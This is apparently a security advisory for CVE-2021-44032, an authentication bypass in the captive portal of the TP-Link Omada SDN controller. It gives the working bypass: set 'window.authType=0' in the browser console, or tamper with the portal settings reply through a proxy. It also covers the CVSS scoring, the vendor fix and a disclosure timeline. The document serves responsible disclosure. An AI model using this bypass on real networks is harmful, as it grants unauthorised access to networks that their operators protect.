# TP-Link Omada SDN Controler
## Tested system
* **Vulnerability type:** Authentication Bypass
* **Product:** TP-Link Omada Software Controller
* **Version:** V4.4.4 (Windows)
* **Product information:** <a href="https://www.tp-link.com/fr/solution/omada-sdn/" Omada SDN web page/>
* **CVE ID:** CVE-2021-44032

## Introduction
Omada SDN is a solution designed to manage network equipments from TP-Link brand in business environments.
It features an embedded captive portal to protect against unauthorized access to the network (WAN or LAN) or register the guests users when offering an open Wi-Fi.

## Vulnerability
A vulnerability in the captive portal API was discovered and allows an anonymous user to logged without credentials and access the protected network.

The solution permits several authentication methods when used as a hotspot (no authentication, voucher, facebook, SMS, login + password). This is defined in SDN Controler settings. Several methods may be actived, in this case, the end-user can select the desired way with a combobox that appears in the loggin page.

It appears the controler API does not check the specified authentication method is enabled and accept the "no-authentication" method in any cases.

## Environment
The vulnerability was tested on a hotspot open Wi-Fi network. Only voucher authentication was actived.

## Exploitation
The API features asymetrical encryptions when sending the authentication request. Specialy crafting a suitable request will be time consumming.

The easier way is to trick the captive portal web page directly in browser to enable the "no authentication" method in the view and let the JavaScript code do the rest.
This setting is stored in `window.authType` variable.

To exploit the vulnerability open the browser's JavaScript console (F12 in most case) and enter:
```JavaScript
window.authType=0;
```

> Acceptable values could be found by reading client webpage source code. No obfuscation is also involved. Following source code peeks appropriate form fields according to selected authentication type.
```JavaScript
function handleSubmit(){
                var submitData = {};
                var checkbox = $("#term-agreement");

                if (this.className == 'disabled'){
                    return;
                }
                if (globalConfig.termsEnable && !checkbox.prop("checked")) {
                    return;
                }
                submitData['authType'] = window.authType;
                switch (window.authType){
                    case 3:
                        submitData['voucherCode'] = $("#input-voucher").find("input")[0].value;
                        break;
                    case 5:
                        submitData['localuser'] = $("#input-user").find("input")[0].value;
                        submitData['localuserPsw'] = $("#input-password").find("input")[0].value;
                        break;
                    case 1:
                        submitData['simplePassword'] = $("#input-simple").find("input")[0].value;
                        break;
                    case 0:
                        break;
                    case 6:
                        submitData['phone'] = $("#country-code").val() + $("#phone-number").val();
                        submitData['code'] = $("#verify-code").val();
                        break;
                    case 2:
                    case 8:
                        submitData['username'] = $("#input-user").find("input")[0].value;
                        submitData['password'] = $("#input-password").find("input")[0].value;
                        break;
                    default:
                        break;
                }
```

Then, submit the loggin form without filling any field. A message should appears informing the access is granted. The brower should redirect the user according to the SDN Controler configuration.

Interception proxy (Burp or equivalent) may be alternatively used to tamper the configuration received by the client with a similar result. The reply to intercept is when */portal/getPortalPageSetting* is reached. *AuthType* should then be set to 0 in the replied JSON.
Example of json reply:
```json
{
    "errorCode": 0, 
    "result": {
        "hotspot": {
            "enabledTypes": [
                3
            ]
        }, 
        "site": "Default", 
        "portalCustomize": {
            "inputTextOpacity": 100, 
            "inputBoxOpacity": 100, 
            "buttonColor": "#0492eb", 
            "buttonOpacity": 100, 
            "logoDisplay": true, 
            "backgroundPictureUrl": "/portal/pics/xxxxxxxxxxxxxxxxxxxxxxx", 
            "buttonPosition": 2, 
            "logoPictureUrl": "/portal/pics/xxxxxxxxxxxxxxxxxxxxxxx", 
            "termsOfServiceEnable": false, 
            "defaultLanguage": 7, 
            "logoPosition": 2, 
            "background": 2, 
            "advertisement": {
                "enable": false
            }, 
            "welcomeEnable": false, 
            "inputTextColor": "#212121", 
            "buttonTextColor": "#ffffff", 
            "inputBoxColor": "#ffffff", 
            "buttonTextOpacity": 100, 
            "copyrightEnable": false
        }, 
        "sms": {}, 
        "authType": 11, 
        "landingUrl": "http://detectportal.firefox.com/canonical.html"
    }
}
```


## Threat
The vulnerability’s threat analysis is proceeds according to CVSS procedure.

* **Attack Vector**
***Network***, only access to the protected network (*LAN* of *Wi-Fi*) is required to render the
exploit.

* **Attack Complexity**
***Low***. No previous knowledge of the solution or configuration is required. The payload will
always be identical, the exploitation success is guaranteed.

* **Privileges Required**
***None***. No user account is involved and access to the captive portal is considered as
*public*.

* **User Interaction**
***Not required***, exploit does not involve any third party.

* **Scope**
***Changed***, the attacker gets access to the protected network and may continue his/her
attack.

* **Confidentiality**
***Low***, the attacker obtains access to assets protected by the captive portal. The obtained
access does not offer privileges on further systems.

* **Integrity**
***Low***, the captive portal allows an unauthorised user to access the *local network*. The
attacker still does not have full control of the Omada solution. Traceability is also harmed.
Traffic still can be logged but the user’s identity cannot be determined.

* **Availability**
***None***. The attacker bypasses the authentication as a normal user accessing the system
using the configured authentication.

## Fix
TP-Link published a fix in release v5.0.15.
Omada SDN Controler download page: <a href="https://www.tp-link.com/fr/support/download/omada-software-controller/#Controller_Software"/>

## Timeline 

05/10/2021 - Vulnerability discovery 

26/10/2021 - TP-Link is noticed 

27/10/2021 - Issue studied by vendor 

01/11/2021 - Vendor issues fix 

05/11/2021 - Fix verified on target system 

19/11/2021 - Responsible disclosure agreement 

19/11/2021 - CVE ID reserved 

30/01/2022 - Vulnerability disclosure